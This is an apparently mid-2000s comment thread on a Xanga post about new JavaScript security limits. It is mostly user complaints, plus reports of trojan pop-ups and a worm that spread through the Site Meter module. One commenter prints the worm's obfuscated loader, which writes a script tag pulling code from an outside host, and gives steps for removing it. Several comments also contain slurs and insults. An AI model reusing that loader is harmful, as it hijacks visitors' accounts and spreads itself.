  • http://www.xanga.com/chrischoi leads you to another person's xanga

  • this really blows, the entire effect of my site is lost now that your "safety measures" have gone into effect.. are you offering any alternative codes, or are we just stuck without blinkies and scrolling status bars and countdowns??

  • i think you guys are doing a good job. keep up the good work! people should start going premium!

  • How about eliminating xangafucks???!!!!

    How about ANSWERING e-mails from premium members???!!!!!!

    And whatever happened to the yourname.com scam

  • Thanks.

  • The security measures also affected the 'no right click' code...do you think you could fix it or something?  And also, the CoolCounters box won't show up anymore.  Thanks, and you guys are doing a great job.

  • my new weblog entry box is hidden behind the ad! please help me.

  • why did you completely RUIN my site?!!!    I'M GONNA CRY!!! YOU DELETED MY MACROMEDIA FLASH COUNTER!!!!   I WANT IT BACK!!!

  • thanks a bunch for all the measures you've taken to maintain the quality and free-ness...(is that a word?) of xanga. you're awesome! if anyone wants to check out my journal, go for it, if not, just know that this is a huge shoutout and thanks to ya'll! pz!

  • Good!  I hope it can fix MY site.   The fifth post is still repeating for the first five pages, and NOW somebody got angry that I deleted her comment (complimentary, but indicating I was writing about a movie star again--I am NOT) and altered my Comment count so it looks like I have zero on that post (3-18-04).   Another pet peeve is my special premium module doesn't show up on the public page, even though the other frames that match that skim do.

  • HEEEEELLLPPPP!!!!! I changed my xanga after a couple of months now and the background shows but the music won't come up! I just can't get it on my side of my computer but other ppl say that they hear it on their computer, I don't know what to do it's so damn annoying can you help me?!I CAN'T HEAR IT ON MY COMPUTER!!!!??????.....

  • Oh, one more thing, is it possible to move the ad banner to the bottom?

  • is it possible to have the codes back so you can "re-name" stuff? like the name:, country:, expertise:, etc. cuz i like it better when it is personalized. so, please try to have that back on!

  • oh. one more thing. could you offer some alternative coding?

  • why do you have to have banner adds anyway? we all know we're on xanga anyway... it just makes our pages ugly. you could at least put them on the bottom if they're *sooo important*...

  • hello john. i think xanga should have those mood thingies...and choices for them. like cats and bats and hearts and penguins and all that random stuff that most online journals have.

    those currently playing/watching/reading things are awesome. i have yet to want something not there.

  • hey john. this really makes pplz go premium, don't they?

  • when i preview my xanga the ad is covering up the "save changes" box. you know the one with the yes and no.

  • hey there! kan u plz fix xanga so html codes will actually work again?? thx!

  • whee!

  • One thing I've noticed, if you try to help people, some of them bitch and moan. If you don't try to help people, some of them bitch and moan. It seems no matter what you do, people are going to bitch and moan. Even when what they are getting is FREE, they still bitch and moan.

    Personally, let em bitch and moan. I think Xanga is just fine. I plan on going premium soon, and then I will have a reason to bitch and moan if I want, because I am paying for it. just kidding. I am much too mature to bitch and moan.

  • hey "john"THIS IS COMPLETE NOT ABOUT JAVASCRIPT BANNING..BUT I REALLY NEED TO KNOW HOW TO put BACKGROUND MUSIC ON MY SITE LIEK A HTML SCRIPT AND I JUST ENTER THE URL. PLZ TELL ME... email me at d4v1d5un@yahoo.com

  • sup yo,

    this is tight. i'm glad this is here. it's helped me. rock on dude.

  • now more people's gonna go premium with this new change.

  • i get the whole idea....i used to wipe the ads off as well, cos it just looks better, but i'm thinking of getting premium now anyway. it's a small price to pay for the service you offer

    the only thing is, now not even premium users can use blinkies etc. if i understand it correctly? i guess there's no other way you can do it, but it's a shame.

    anyhoo, i think you guys do a great job. you can't please everyone'

  • excuse me... but well, this comment is going to nothing about the code stuff. i think it's kinda wrong that people are taking advantages of this but then again maybe some of them didn't know or didn't mean to... anyway!

    i was wondering if you could fix the xanga sites or update it... because EVERYTIME I GO LOOK & FEEL SECTION AND WHEN I CLICK PREVIEW THE BOX THINGY AT THE TOP 'SAVE YOUR CHANGES?' IS HIÐEN UNDERNEATH THE XANGA ADS...AND I CAN'T CLICK IT TO CHANGE MY XANGA!

    sorry i'm not mad exactly but i just put that in caps so it'll caught your attentions...heh...

  • Gaaa...ribllelashki?

  • i hate to be a grump, but you should keep Alaska and Hawaii separate. We here in Hawaii do not practice daylight savings, as well as some other districts in other states (if i recall correctly). haha it's no big deal... but it'd be cool if we could have our own... I guess I'll just adjust it on my own, so nm.

  • Why isn't my background image showing?

  • You have to do what you have to do. If that's what it takes to keep it free, so be it. Keep up the good work!

  • what you need in Xanga is some form of policing.  I am going to post this message for John and Mark also.  The Pornography on this page is really too much for me to have stumbled onto.  I don't appreciate this kind of trash on any site and it certainly isn't suitable for here in Xanga.

  • I just want to get back into my site lol.I cant get into my site john it says incorrect login and im signing in with my correct password.Whats up????? please stop messing up my xanga lol.

  • i used to have a code on my xanga that made my links changing rainbow colors, it was very pretty.  it doesn't work anymore, and i am sad.

  • yo how come my post doesn't have the correct time on it? don't u change the time for daylight savings time?

  • Dear John. Excuse my pic on this site, but an homophobe "One_Angry_Carny" has been upsetting some very nice people by calling them faggots. The Three-Headed Sarahs' seek revenge, so they got "Horace" to make a pass at the bigot.

    The pic will be changed when the fool has blown his top.

  • i love xanga, and i agree with this person:

    "if the ad banners were on the bottom, and not so obtrusive, people (including myself) would certainly mind them less."

    i also miss my scrolling title and status bar..buh youve got to do what youve got to do...

  • how come the time/date stamp isn't set for daylight savings?

  • i am soooo freakin mad that you have taken some of those codes away just b/c some ppl freakin stripped out an ad...thats dumb, i never did it and now some of that junk on my xanga doesnt work and i had to change everything so it wouldnt look retarded. and i HATE redoing the look of my xanga b/c it takes to freakin long to amke up my mind about what i want it to look like. so well, sorry if i sound mad...but i am, cuz i never stripped out any ads and im having things takin away from me...its kinda like when your 4 and your parents take a toy away.............stupid stupid stupid

  • oh and yea....i agree with whoever said this...

    "if the ad banners were on the bottom, and not so obtrusive, people (including myself) would certainly mind them less."

    i think that you should set up some type of thing to comment on anf if you get like 1000 comments saying everyone agrees to not stripp out ad's if there on bottom then you give back the codes

    ITS ONLY FAIR

  • THESE SITES R TITE YO

  • man... my links dont do the fading thing anymore and my status bar doesnt do the typewriter thing anymore... can you fix it? thanks...

  • Hey, brain-children.  If the ads were on bottom, not so many people would see them.  That means not so many people would click them.  That means Xanga wouldn't get so much money.  That means you would have to pay for Xanga.  I hope not everyone online is this stupid.

  • You have to change things because some people just don't want to shell out the money and want to just make everything worse for the rest.  I know I have a free account now and always wanted a paid account but I'll have to wait.  :)

  • hey. i think you need to fix the time. daylight-saving time remember??

  • it seems to me, xanga has just deleted my whole xanga entries from day 1 in being in xanga. now i lost every entry. whats with that? i want an explanation.

  • hi john, i'm trying to upload a new profile picture but it doesn't seem to be updated. What is going on?

  • i cant go into my look and feel... it keeps coming up bad gateway or somethin... how do i get into my look & feel???

  • Also seems to affect some JavaScript Based Counters...

    For example (Counters from):
     - http://www.advancestats.com
     - http://www.sitemeter.com
    ...Only ones I have tried. Currently using one from http://www.extreme-dm.com/tracking/.  Seems to be working fine.

    Thanks for the updates.
    Later.

  • wait!!  how about NVNCBL chat at http://chatter.nvncbl.com!  its such a great chatterbox!

  • Every time I log in to xanga and start viewing some of my buddies' sites a popup window appears (or two or three) that drops a file "htm(1).htm" or "htm_1_~1.htm" into my computer, which is detected by avg as "Trojan Horse Dropper.Inor.S."  I never have trouble removing it but it's quite annoying.  I finally figured out how to configure my computer to block it from entering my system.  A friend of mine was also having virus trouble with his site, and I've heard from others who are getting viruses from their sites as well.  I've even noticed another comment or two here about the same thing.  Just giving you a heads-up about what's going on.  I don't know why some people are affected and some aren't.  A common URL that causes this problem is "achtungachtung.com."  The popups that appear on my screen are in my popup killer as "z1.adserver.com/w/cp.x;rid=80;tid=2;ev=1;dt=3;ac=7;c=415" and "z1.adserver.com/w/cp.x;rid=80;tid=2;ev=1;dt=3;ac=7;c=415;;nc=1."
    One of the windows will say "webpage dialogue" on the title bar with an empty window and another one will show a typical "this webpage is unavailable" error screen.  Usually when these two windows pop up, another window with the lable "Rewards TV" and the contents of a typical annoying pop up will appear as well.  These windows pop up very quickly and once all three windows have appeared, an avg virus alert appears with the name of the virus and the infected file, along with removal instructions.  I believe I've removed this virus from my computer 9 times now.  Maybe you could find out what's going on here... who's behind it and whatever.  No virus database anywhere has any information about this virus, so I don't know anything about it's payload and damage potential, which makes it a constant worry for me whenever I'm logged in to xanga.

  • delete all the fucking javascript on your site or get a new xanga dumbasses

    and the ads are there so we dont pay so shut the fuck about them on bottom, unless you got 100 dollars or are paris hilton stop being so damn preppy about it

  • Just as soon as I elminated those other popups, about 4 new ones appeared with similar characteristics.  Two of these URL's contain an IP address:

    "216.240.137.40/yespop/count.php?x=N"
    "64.27.100.65/scripts/popup.php?hid=b4a2940e292220b39762&tmpl=baneBP.tmpl"

    The other two appear as more ligitimate popup ads.

    "www2.paypop.com/loading.php?id=levik&pop=enter&t=5&subid=4141&tid=1081207551&ref=http%3A//www.xanga.com/private/home.aspx%3Fuser%3D(*xanga user name*)"
    "www2.paypop.com/loading.php?id=levik&pop=enter&t=5&subid=4141&tid=1081207551&ref=http:"

    Another version of the "Rewards TV" pop up may have been one of those.  This time the title of the page was "CONGRATULATIONS!"

    I did not receive a virus infection from any of these, however this may be as a result of my internet security settings.

  • hi john i was wondering if you guys could add a font to xanga for those who like graffiti or that kind of art?? i found some of those fonts that are like graffiti im wondering if you can put it up the fonts are= "tagster", "5 cent", and "subway" thanks

  • Hey

  • Another reason i want to quit Xanga.

  • Oh, the rainbow mouseover doesn't work anymore either...just thought I'd let you know

  • dosent work

  • hey, do you think you could enable the javascript counters from

    http://www.statcounter.com/

    ?

    thank a lot.

  • AAAAAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHH!!!!!!!! This is like the second time I'm asking and I'm sorry but it is driving me freaking CRAZY!!!! Can somebody please help me with my music, I can't hear it on my computer but I don't know how to fix it so I can hear it as well as everyone else!!!!! wwwwaaaahhh..please......

  • :(   

             J

             0     "AaAaAAaHhHhHh"     :(

  • mann.. i kno its wrong to take away the ads at the top.. but a lot of people didnt use that code.. and it effects everyone who used and didnt use them.. but whatever.. if the ads were at the bottom i think a lot of people wouldnt use such codes.. just something to think about

  • so you mean there wouldnt be any chatterboxes allowed or the things you have mentioned above?

  • thanks for doing a great job on xanga!

  • .... i'm not complaning, but i would really like to have my blink boxies back......

  • bazerk!!!!???

  • my xanga props dont work.. can you help me?

  • Question. I don't know how else to ask one but this. But is there a way to see who all subscribes to MY xanga?

  • Hi.  Numerous people that visit my site have said that they are getting some kind of trojan virus from xanga, can you please explain what this is and how I can prevent my friends from getting this?

  • cool

  • When are you guys going to turn ahead the clocks on Xanga?

  • no comment.b

  • Maybe the people who are endlessly whining about losing their irritating codes will spend more time learning how to spell to make their Xangas interesting instead.

  • I am not entirely sure but I think my site meter is not working due to Xanga's changes. Also since the banner has been moved to the bottom trying to open xanga is taking a bit longer than before. If you can suggest another site where I can get a new site meter it would be very much appreciated.

    Thanks,

    Isaac

  • arggggg u just stripped my site..jeez i didnt do anything,,why dont u guyz just ban those certain ppl..

  • I think that ur beta test also affected rainbow link mouseovers because mine doesn't work anymore, can you fix this?¿

  • thanks so much! because yesterday i found that somone had somehow joined me to a "gay and proud of it blogring". I of course changed all of my contact stuff and password thinking that they somehow found out my password. But now, because of you I found that they can just do it from a malacious Java Script code. Thank you for you time and patience to keep xanga safe and free!

  • do you actually have time to go through all these comments? well, i'm facing a problem with xanga, and it's quite irking me. there seems to be pop-ups on my site somewhere, and when i access my site on my own computer, these ads come up and want to install something. then my mcafee acts up and says it's a viru. now, i am a computer literate person, just not enough to know what to do. i know before this wouldn't happen. is there something wrong, or another tweak you guys did?

  • hahahahahaha.... i love all the little whiny teeny boppers who wanna complain about the stuff you did to keep it free for poor mofo's like me.  I hope the one's who are "considering other sites" just get the hell out quick... the people who are complaining are either ignorant or stupid, and just need to get over themselves pronto. i don't know html, but i also keep my site interesting enough with the words i write because i'm not a selfish annoying dolt.

  • wow. over 978,872 visits

  • premium is so cheap people... considering what you get out of xanga and all the hard work they put into keeping their server pool up and running hot and hard... You can even pay with friggin' paypal.... sell something on ebay and pay for premium. Xanga deserves it.

  • cool...

  • nice work

  • aww this is sad. but hurry up and get xanga working again!

  • i guess this is fair...taking off the ads and etc. is kind of wrong toward u guys..well i miss the blinky boxes sooo much..hopefully one day we can fix the security problems without having to disable the blinky boxes. good job tho..xanga is great

  • can u delete a site?

  • I really didnt noe that u couldnt get rid of the adds i juss did it cuz the you could see my lil stars float around...i didnt noe it would cuase this!!!

    SOOOOO Srry!

    I doubt it'd be a script, not usually easy to put a script on your own page without knowin it, and I didn't get any attacks when I went to your site. Make sure your not getting attacked by a different outside source.

    snorts&MiiSz_B3DrOoM_3y3s

    The entire point of banners is the attract attention, and try to get you to click on them. You might not MIND them if they were on the bottom, but it would defeat the purpose of them entirely. oops!

  • Whoa how do you ad moving smilies to ur xanga site? send back!!!!

  • question:  what if you want to do both?

  • hi..i need help..for my xanga..everything disappeared..like when i sign in..it doesnt show the links where i could look and feel and my subsriptions and all that..everything is gone..plz help..my xanga is lyttleyoungone..thx anyway

  • can you help me out? i have premium, but i can't figure out how to make a picture i created a custom header. plz!!!!

  • http://help.xanga.com/replacelinks.htm

    http://help.xanga.com/commentcolors.htm

    is it just me or do those links not work?

  • Site links have been taken over. send you to hardcore websites how do I fix links. If I click on link I get a virus or trojan

  • ok i have aproblem.. my site, when i do the public profile image editting.. i guess my picture that i newly uploaded shows up on my site.. cuz people are commenting on my new pic.. but when i go to my own site frm my own computer.. i cant change my profile pic.. do u know why that mite be happening? cuz i mean, i guess it's working but i wanna see my new pic on my site too, u know? hmm well, if u could help, i'd really appreicate it.

  • ur whole website hasn't "sprung foward" for daylight savings time, i know it's trivial but it's confusing...just a reminder if u get it

  • hmm just a note. when you comment the time is still an hour behind :

  • hmm well on mine its like that but on yours its right.... it is trivial.

  • adds on the bottom plz!!

    we wouldnt be deleting them if they were back on the bottom!

  • i don't know WHEN you'll get to this, but is there anything xanga can do about when people subscribe to your journal and have no posts and such that you can see who it is, as in email address, i don't think it's right that you can't see who it is, you wouldn't know who is viewing your journal, and i don't think that is safe.

  • Hey I was wondering if there was anyway of blocking a person from visiting your Xanga site?  Thank You.

  • marvelous.  i wonder why people put so much work into their xangas.

  • Neato Bandito. ^_^

  • hehe

  • i have a question..how come whenever i try to put a layout on my site from blogring.net it always makes my chatterbox and my profile and info come out orange and the rest is the color its suppose to be, i originally had an orange site and when i wanted to change it the chatterbox and info stayed orange...please help..

    kiana..

  • GRRR.

  • hey jOn. i think that this blOgring called -=[[Gay and Proud]]=- autOsubscribes peOple because i was signed up fOr this ring 3 times and i never clicked Okay tO that. thanks

  • Well, dats good, but how about the time of the people? they wasted their time to build HTML codes .... but that's good. THNX!

  • Dats good too! I agreed to thepassion

  •     I've been noticing some strange things happening since the "roll-out".  The other day I recieved a comment from an unknown user "c0heed".  The comment itself was not vulgar.  I followed the link to the user's page, and it read "...not using Xanga..." "...come to my new site...".  The site (which is now gone) was http://www.jewpranks.com.  On that site, I witnessed a "mass-messaging" type of software screen shot.  In that screen shot were input fields which allowed the user to randomly generate/select users from Xanga.com and spam them with messages.  Also, following the comment I recieved, I noticed that I was also signed up for a new Xanga.com page under my email address, which I had not done.  The user name for the invalid page is "get69".  I did NOT sign up for this, nor do I appreciate how easy it is to replicate users' memberships by email address.  I understand that you guys have a lot of issues to deal with.  Is it feasible to add a "CONFIRMATION" email with the creation of sites?  Also, would it be possible to add a "DELETE" function for member's pages.  Thank you for your time and efforts!

  • I did forget to mention, that on the site, the creator admittedly stated that he was out to spam Xanga.  Don't know if that helps legally.  I looked in my history for the image, but I couldn't find it.  If I do find it, I can forward it where ever necessary.  Thanks again!

  • nice

  • could someone please tell me what codes changes the names for the props and comments?

  • yo whats goin' on with all the pics?  does this have anything to do with the new security measures?

  • can't you atleast put the add at the bottom of the page? hey, atleast it's a compromise. we would still have it on there and it wouldn't be gone. it just makes our sites ugly. perhaps you could be able to customise the add to make it match your site? thanks. i miss my blinky box.... but those cursor clocks really made me mad. so thanks for that.. no thanks to the blinky box being gone...

  • hey... Random Q

    Is there a way to search though your xanga, or someone elses xanga for specific words...  like-- say u know they/you wrote about something but you don't know the day.... can you search in that xanga only?

  • I have a question. You know how you can add to your entries what you are currently watching, reading or playing? Well, everytime that I do, the words show up but not the picture. Why is that? Is there any way that I can fix it?

    ~*Charity*~

  • i have pictures and such on my xanga from shutterfly.com and now they dont work. could you possibly check that out?

  • http://www.xanga.com/indie_kid

    this user has been hacking into sites and putting very insulting things on them. his website itself is very insulting to people and everyone wants to beat him up.

  • hi..i hope your not to busy to respond to my question but here it goes..how do i email the premium leader? whats their email?..i have two days left for the free trial and i just sent the check to get premium ..i not that sure it will get there in time but i dont want my xanga to revert back in anyway..please get back to me soon :/ thanks!!!

  • I'm now getting pop up ads all the time, and it irks me! I'd rather have the ads on my actual page, not popping up at random. I'm running a Mac, and using either MSIE for Mac, or Netscape 7 as my browser (I alternate every now and then). Xanga is the only site I get pop ups on.

  • about security... i was wondering... my other xanga got hacked into and i dunno what someone's writing on it but how can you delete your own xanga? its getting pretty bad... =T

  • are you running other tests? bc pictures are not showing up on xanga right now on mine or my friends...

  • What's up with the security pop up asking for my network password?

  • What's the story with the logon to ixanga?  I entered my username and password and it still won't let me on...??

  • John...I'm in Network Password pop up box hell...is it Xanga or is it a hacker?

  • I got past the security thing by entering my information TWICE. Then I realized I could do the same thing by cancelling twice. None of my pictures are showing up. FIIIIIX IT!

  • What the heck's up with the "logging in to i.xanga" pop-up crap all over the place today? I can't view anyone's site without seeing it pop up. Ok, well, not anyone's...but's it's all over the place! Grrrrrr.

  • I need help and I can't find a contact on Xanga.com... this sucks, my xanga is all screwed up right now.

  • Hey! I've got a box that keeps popping up wanting my user name, password and domain. Is this part of your new security code or is it a hacker? Could you answer on my site please?

    Stormy

  • DUDE!!! Why does this stupid popup keep coming up asking for a password and not showing any pictures?!?!

  • John I tried to go to my site and a security box popped up prompting me to sign in. I signed in using my name and my password and it will not go away and it will not let me into my site and it also refuses to show what my site has on it, as in pictures and such.  Have you any clue what is going on and why we are not allowed in our own sites to update or otherwise.

  • why do i keep getting this box up box that tells me to put in username, password and domain?

    is that part of the beta testing? the only script i use was the the counter. does that mean i have to take it off?

  • i keep getting this xanga pop up box.  can you tell me what it is?  it keeps asking me for a username and password. 

    i put in both my xanga name and password and it repeatly keeps on popping up.  it is really annoying.. can you please help me find a solution.

  • I agree with everyone who's noticing something with a pop-up asking for our username and password; what's up?

    My pictures & background aren't working, and aside from that, I can't even view my page since this new window won't go away!

    Please fix this, thanks.

  • IT"S FIXED. STOP COMPLAINNG everyone!!! have a good day!!!!

  • hey can you help me?....i posted an entry on my site because i was providing people with music and it shows up on my private site but not in public.why is that?

  • backgrounds arent working now...

  • why cant my pictures show up anymore...

    even when i link it to  shutterfly or webshots???

  • i was wondering if all these pops up i get when i visit my site, are they from xanga? there's like 3 at once, and whenever i go somewhere else on my site they pop again. bleh. very annoying. even though i've signed in they go pop pop poppppy!

    but xanga still cool.

    jus silly weird pops

  • HEY HOW COME I CANT PUT UP PICTURES ANYMORE! I USETO BE ABLE TO PUT PICTURES UP LAST WEEK. BUT FOR SOME REASON! I CANT NOW! wHICH IS FUCKED UP!

  • Question:

     I want some eprops deleted because I find the site it links to offensive. I've deleted the post and blocked the user. I don't want my site to link to what I find pornographic and racist.

    The FAQ tells me I can't delete them. Can the Xanga team delete them for me? Please... I.

  • I got the same popup box to log into i.xanga.com. It only went away after I deleted my smilies code  : /

  • first &formost:

    congratulations on a job well done, boys. its obnoxious that people are bitching about their Jscrips being taken away when in reality, if you hadnt tightened down on security they would be bitching about a virus they had gotten on x.

    some people are just unsatisfiable. LOSERS.

    secondly:

    everyone who is talking about having the banner ad on the bottom of the site, or to have it be less of an "eyesore". . .  tell me, are you retarted? no, really... are you? i cant seem to understand what you are saying, because you are speaking in slutbag. i cant believe you would be so stupid as to ask something like that. do you not understand that the ad is in fact an ADVERTISEMENT for xanga? its built to be obtrusive because they want people to click on it so that they can keep x up and running. you stupid people make me sick with your selfishness. cough*freeloaders*cough.

    and lastly,
    there are plenty other blogging sites that you can go scrub off of. im not saying that you have to go premium, because i dont. but you dont see me complaining when they update stuff...for the better. if you have such a problem with their updates, please, take your grimey blog elsewhere. x is for the better half of the blogging community anyway, so maybe its better that you are so miffed by these updates.

    in short:
    get a life you loser fags, &stop bitching about what isnt even yours in the first place, you freeloading xanga whores.

    and to my lovely x boys: keep up the good work, &pay no mind to those douches. youre working hard for everyone, even the classic members. thank you darlings.

  • For the past week, I've been having trouble with popups on my site, this has never happened before. Other people have noticed it about my site as well... I don't know if they are from an ad or html trouble... I get a "do you want to keep running scripts on this page" message and then a bunch of white boxes, if you have any idea what could be causing this problem or how i could possibly fix it, i would be greatful!

  • What?

  • Can not be safe. Seems latly a lot of ppl have been getting viruses. Not the bad type, just the annoying ones.

  • john, looks as if someone may have hacked the Site Meter page.  please see my page for details!   thanks!

  • john, looks as if someone may have hacked the Site Meter page.  please see my page for details!   thanks

  • somebody hacked into my site! what do I do? he's name is almostJDI b/c it's on my browser.

  • As an FYI, some idiot hacked the Site Meter utility on Xanga, and its running a Javascript program from this locale:  http://almostjdi.9p.org.uk/minijdi.js[please do not click on this link ]  So if all of a sudden you're subscribed to the 'Gay and Proud' blogring or have some weird subscriptions or have some weird posts about being gay, then you've been affected.   Also, the applet seems to redirect you to a Xanga Premium page each time you try to make changes to your page.   So do this:

    1) Log into Xanga in 'safe mode' to eliminate any extraneous HTML/Java running on your page (this is necessary b/c the code redirects you without giving you the ability to make changes)
    2) Delete whichever posts you didn't actually post (likely about being gay)
    3) Look for something that looks like:


    var mys = "    http://almostjdi.9p.org.uk/minijdi.js";
    var l0 = "".substr(0,1);
    var l1 = "sc";
    var l2 = "ip";
    document.write(""+l0+l1+""+"r"+l2+"t "+l1.substr(0,1)+"rc='"+mys+"'>"+l0+"/"+l1+"r"+l2+"t>");
    var dontpostagain=true

    If this is in your SiteMeter, delete it immediately.
    4) Return to your site and remove extraneous subscriptions or blogrings.
    5) Some people have too much time on their hands.   Way too much time.

    [updated] You may need to re-delete the code, because it seems to repopulate itself when you go to an affected Xanga site (and there are many out there right now).    Stinking worm.

  • yes...I am a victim too...=( someone hacked my site.

  • how do you get rid of a blogring?

  • nevermind...i figured it out.

  • HELP.  I think somoene is hacking my account.  I have wierd blogs coming up on my blog that I did NOT write and I can't access anything anymore!!

  • hey xanga get rid of almostjdi the user is hacking everyone's site and putting gay posts . i am on my site and it is being hacked as we speak. my user is samara. i can't even erase the freaking code in my look and feel before it';s hacked again!!! Do something please before you lose half of your subscribers

  • Someone hijacked my website and i'm upset because they are posting really graphic stuff on my site!!! my username is spygirl1975 and i noticed this person subscribed themselves to me and here is their website   http://www.xanga.com/home.aspx?user=MasturbatingSite   ...

  • hey, there is som sort of virus on xanga

  • HEY THERE IS A XANGA VIRUS GOING AROUND....apparently it seems the person inflincting the virus has the user name: almostdj

    when you visit someone that has this virus, you get it too....i have it! so dont' visit my site...

  • please follow my instructions i posted above.   this worm/virus is infecting the XANGA SITE METER.     If you delete it, it can reappear or recreate itself if you go to the infected site of another Xanga person who has be affected.   good luck and Godspeed.

    5) Some people have too much time on their hands.   Way too much time.

  • Your chatterbox partner drops a trojan on user machines when the initial "unlock" icon is clicked after initial setup. NAV2004 detects and eliminates, but recommending them puts your users at risk.

  • Alright, I wasn't sure who to go to for this, but hee goes ...

    I am trying to put some music onto my xanga site, however, it is not hosted on the internet, rather saved on my computer from a CD.  Is it possible to input that onto my Xanga Premium site??

  • i just wanted to tell you.. some people have found another way to get rid of your ad banner.. some of the people i'm subscribed to got rid of the banner..

  • Hmmm, could you add, http://www.statcounter.com to the list, Thanks

  • -.- all the blinky things are gone XD I didnt use em' Anyway! ha! =P

    < _ >

  • Thanks for the Security measures. Us Xangans really appreciate it.

  • Hey, I use unkymoods, but it seems that it's not supported as a script.  it'd be cool if you could support it.  http://www.unkymoods.com

    oh yeah, and countdown javascript (ie, X number of days until whatever)...i couldn't get it to work :(

  • Ok is there ANY WAY you can fix the whole can't see any pictures that we put up problem because now shutterfly doesnt work anymore and i really have no other way of sharing my digital photos and that's really the only reason i have xanga in the first place...please try and fix that.

  • i know this isnt relevent to this entry... but i thought id try anyways.... how come nobody can see my pics on my xanga??? ive tried everything i can think of but it still wont work.... the pics jus come up as a red cross... its getiin really fustratin so if anyone has any idea wht to do please help....... cheers :P

  • i know this is not relevent to this entry but i thought u might be able to give me some advice..... no one can see my pics on my xanaga site when they go to it and i dont no how to solve this... the pics jus come up as red crosses and ive tried everything i can think of  but still cant fix it..... any ideas????? cheers anyways:P

  • Your main email is out.  Do you have a personal one?

  • have anyone been hacking into xanga.. my xanga keeps having weird entries that i dont write.. and my picture has been extremely changed to somewhat quite mean... can you check up please

  • Thanks for making and keeping us safe! I love Xanga!

  • Amazing variety of names of bloggers in your comments list! 

  • You guys should add the reply to feature to comments. That would be way better.

  • hey John..it's me..well hit me back. know you're busy..but..

  • I would like to make a complaint. I don't really know if you can make complaints at Xanga, but oh well.

    Please take a look at coheed's site. It is awful. Just awful. Claiming  he's Jesus Christ is offensive enough, but then putting links to pictures of dead babies and some man's asshole is ridicilous, and just plain offensive.

    I believe in Free Speech. But not when it is as offensive as this. And believe me, I'm not the only one who feels this way.

    Thanks, TayKay_08

  • i am not sure if my computer got something wrong or not, these few days, i found that i couldn't go to xanga.com until now. Is there any problem about your server?! Hopefully no one is hacking ....

  • I used to always write my post in microsofe word, then copy and paste it on my site...and now it's not working at all, is there any reason why it's not working?  Is there anything I can do to fix whatever the problem is?   Xanga is so neat, I've loved having it and can't wait to keep going with it, please help soon!!   ~Dana

  • When you say "keep xanga safe" do you mean the system or the users? One of my friends is being harrassed by another user who is constantly telling her to commit suicide. She blocked her but she got her friends to comment. Is there anything we can do about this? Please let me know.

  • I don't understand why those of us who don't have xanga premium can't have pictures on our weblog entries.    Why do we have to pay for premium just to put a picture on there?  that doesn't make any sense.

  • the little ice cream guy is so sad! its so cute but depressing.

  • if you have noticed or not there is a person named cOHEED on this site who is a pervert and he is posing as Jesus Christ i highly recomend u not alow him to have a xanga he is asking hot gyrls to send nude pictures of themselves to him

  • help me. i cant go 2 mai claf anymore can u delete it the codes for me plz. comment me bak if u can

  • I think you should trap all ANTI anti right click codes.  I do this while I read and it gets anoying to have a script kiddie lock you in a msgbox loop.

    Your Kung Fu Rocks.

     

  • I'd like to submit a site to be unbanned from your javascript screening. I run my blog from http://www.joshiee.net which logs in into the xanga.com server to post. On the joshiee.net blog i have a "shoutbox" similiar to the chatterbox. I would like to integrate that shoutbox into my xangasite so the shoutbox is consistent on both sites loading from the same database.

  • i dont get it

  • Spell check isn't working!!!  What's up?

  • If I go to some people's xanga pages, I get virus's.  And I got a virus from going to MY OWN page.  has anyone else been getting this???

    Beth

  • could c0heed's xana plz be shut down, he is obvious violating xanga terms of use something has to be done about this

  • rrff

  • hi..about the hosted codes...how bout shutterfly.com?? that's where i use to link my pics..

  • YO!Subscribe to me!GBOYING

  • PROPS!!! SWEET

  • c0heed should be banned for the world of xanga. did you see the last post that he had? he is calling the xanga people jews... that's so racist and so banning him would be best, and so he won't bother people again.

  • Wow you people need to shut up you're lucky you're getting your sites for free! and OH MY GOD you don't have your poor blinky boxes! SO SAD! GO to live journal or some other site if you don't like it, don't complain. Get over it. It's a website.

    Oh, and please, do something about that coheed dude... thanks...

  • dam u! u suck! ur limiting own codes! maybe sumday u xanga people can limit alot of code and people wont use xanga or wont even make more codes for it and then it'll becoems rare and evenually xanga becomes useless and ghetto!

  • dam u! u suck! ur limiting own codes! maybe sumday u xanga people can limit alot of code and people wont use xanga or wont even make more codes for it and then it'll becoems rare and evenually xanga becomes useless and ghetto!

  • There's something wrong with picures that are being put on xanga. The pictures wont show up for a lot of people. Can this be fixed?

    THANKS!

  • its a bummer that ppl block out adds and cause problemz like this.... oh well. i guess its different to ppl on geocities purely because in this case; the webmaster is quite active and we can read his thoughts.. who knows who's behind geocities (other than yahoo~)...

  • HI!! (Waves like an idoit!)

We have opinions too! Secondly I wondered if there could be a place for video games.. you know like theres what we're reading or playing or watching but what about the video game we're in the middle of. I dunno.. just a thought. Youre doing a wonderful job by the way ::poke:: and we looove youuu

  • I have too agree with Christina_Chillen

  • jeez.. just make your own website if you want to be "creative" so bad

  • i dont know who are you but whos john!!!??/

  • dear john,

     im begging you please put this in the spotlight. i want all of xanga to see this:

    Hello everyone wassup. Today was a nice day. Saw my  well i just got off the phone with you because you hung up on me. u just dont understand, u dont know how much u mean to me, how much i care for you, how much i want to be with you. im absolutely crazy about u and i dont care who knows it. Karen please dont do this. i feel that its a mistake. have a lil faith in me, because i have a lot in us.

  • thats not all of it, everyone look at my entry for today and please comment.

  • nobody even ever pays attention to the shit ass banner

  • theres something wrong, everytime I go on xanga html help sites, the whole system shuts down.. only on xanga.

  • theres something wrong, everytime I go on xanga html help sites, the whole system shuts down.. only on xanga.

  • In response to the post regarding it being "bull shit" that we can't show our "creativity":
    How creative are you really?  Does that annoying little mouse script that makes my mouse look like crap really come from you, or did you grab it from some other site that grabbed it from another site that grabbed it from the original coder?

    As for "bull shit" I'd say you're the one giving Xanga "shit".  You should be thanking them for what they do give you for free.  You wanna try running your own webserver?  Thought not.  With comments like those, I doubt you'd have the energy or intelligence to do so.  Why don't you stop whining and throwing a temper-tantrum about your lack of pretty little bandwidth-hogging scripts and think of other ways to be "creative"?

  • okay i dont mind if the blink boxes wont work but even my rainbow text thing wouldn't work. the title thing on top of my site. my site is http://www.xanga.com/irresistable_you.
    please check what's wrong. it's suppose to be a fading rainbow text thing. thanks.

  • you people all sayin this is bull shit and stuff need to get off it, because its a free site, dumbasses. if you dont like it, then freakin go somewhere else or shut the hell up. there are more important things to worry about than ad banners blinking boxes.

  • i love protected posts, but can you make posts that a block only the names you list?

  • cdbdfh

  • is there anyway to see who is looking at your xanga? like, if they aren't leaving any comments, but they are reading it.

  • is there a way to change ur xanga password? does anyone know?

